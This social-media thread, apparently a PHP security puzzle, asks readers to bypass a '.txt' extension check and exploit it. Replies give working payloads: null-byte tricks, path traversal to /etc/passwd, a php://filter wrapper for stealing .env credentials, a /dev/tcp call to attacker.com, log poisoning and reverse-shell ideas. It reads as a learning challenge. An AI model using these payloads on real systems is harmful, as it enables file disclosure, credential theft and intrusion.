Hackers 🔥 1. Find how to bypass the extension validation. 2. How would you get maximum impact with this vulnerability? Exploit it 😈

May 19, 2025 · 6:52 AM UTC

33
38
479
61,423
Sort replies: Relevant Recent Liked
Replying to @chux13786509
Null byte the extension if php ver allows it: ‘somefile%00.txt’. To escalate to file inclusion you would have to URL encode for traversing paths, otherwise it would cause the explode function on $parts to have a heart attack lol ?card= %2E%2E%2F%2E%2E%2F%2E%2E%2Fetc%2Fpasswd
2
19
3,342
Nice 🤩 And how would you exploit it and get maximum impact?
1
7
2,873
more replies
Replying to @chux13786509
Crazy idea but I’m guessing you might do RFI using the tcp features with bash’s virtual filesystem. Payload is “../../../../../../dev/tcp/attacker.com/1337%00.txt” then on the remote server host JavaScript (XSS) to either steal cookies or make other Same-Origin requests. SSRF/XSS
2
7
919
That is a crazy and creative idea 😆
4
709
Replying to @chux13786509
path traversal file name maybe, the file path is passed to file_get_contents func can be used to get etc/passwd content?
2
3
2,680
Yea, but how would you get maximum impact from path traversal? 😆
2
2,503
Replying to @chux13786509
changing content type? .txt.php .txt%00.php i think
1
2
2,332
The content type won't pass the validation cause the server still looks for .txt no matter what file type it is. Null byte is a good idea :)
1
5
2,187
more replies
Replying to @chux13786509
LFI : /../../../etc/passwd
1
1
1,609
It's a path traversal, not LFI :)
1
1
1,560
more replies
Replying to @chux13786509
<?php echo "<h1>PWNED!</h1>"; echo "<p>Server IP: " . $_SERVER['SERVER_ADDR'] . "</p>"; // Additional malicious code could be added here, like reading sensitive files, // executing system commands, etc. ?>
1
603
Path traversal, not LFI 🙃
1
485
Replying to @chux13786509
Since it's just checking for the end of the file name. Null byte is a good bypass mechanism
3
993
Replying to @chux13786509
php file reader lets you bypass .txt checks with %00 and climb directories like ../../../etc/passwd
2
979
Replying to @chux13786509
just a noob here but Ig null bytes is the obvious answer and as for the impact we can search for dbs or ssh private keys for the maximum impact cuz all you can do is read the content
1
1
1,113
Replying to @chux13786509
`file_get_contents` method in PHP is vulnerable to path traversal. This vuln allows us to see what inside the server. Payload: `?card=../../../etc/passwd` and boom, can see the contents of the passwd file. Can do to see other files too
1
2
272
Replying to @chux13786509
card=../../../../etc/passwd
2
1
645
Replying to @chux13786509
via path traversal?
2
911
Replying to @chux13786509
Since its not using "include" poisoning access log not works, i'd rather enumerate other php files using lfi here, try to get db creds, access sensitive files, etc...
1
2
1,307
Replying to @chux13786509
Path traversal, poison access.log (as @stuub_ said), reflected xss, maybe? Steal user's cookies?
1
2
1,448
Replying to @chux13786509
maybe reading sensitive files like : .htpasswd , .htaccess, php.ini, config.ini
1
171
Replying to @chux13786509
Null bite or double extension with RCE payload
1
118
Replying to @chux13786509
``` ./page.php?card=../../../../../etc/secretFileIShoildNotBeLookingAt%00.txt ```
1
399
Replying to @chux13786509
.html.txt to check last extension..
1
441
Replying to @chux13786509
Try .html.txt -- The code will check the last extension and let it bypass
1
877
Replying to @chux13786509
So the exploit is lfi and we can use php filters chain to make the impact bigger
124
Replying to @chux13786509
Use PHP stream wrappers to fool the “.txt” check: ?card=php://filter/convert.base64-encode/resource=/etc/passwd.txt explode() sees “txt”→passes, but you get a base64 dump of /etc/passwd. Swap in .env or config.php to steal creds & gain RCE.
1
1
165
Replying to @chux13786509
A bit of a theory; but code execution will be possible by exploiting Log Posioning (assuming log files have executable permission)
71
Replying to @chux13786509
pathinfo($card, PATHINFO_EXTENSION) og hvit list
93
Replying to @chux13786509
Lol
200
Replying to @chux13786509
Can't we upload a reverse shell there bypassing txt?
191
Replying to @chux13786509
Cool 👍
347
Load more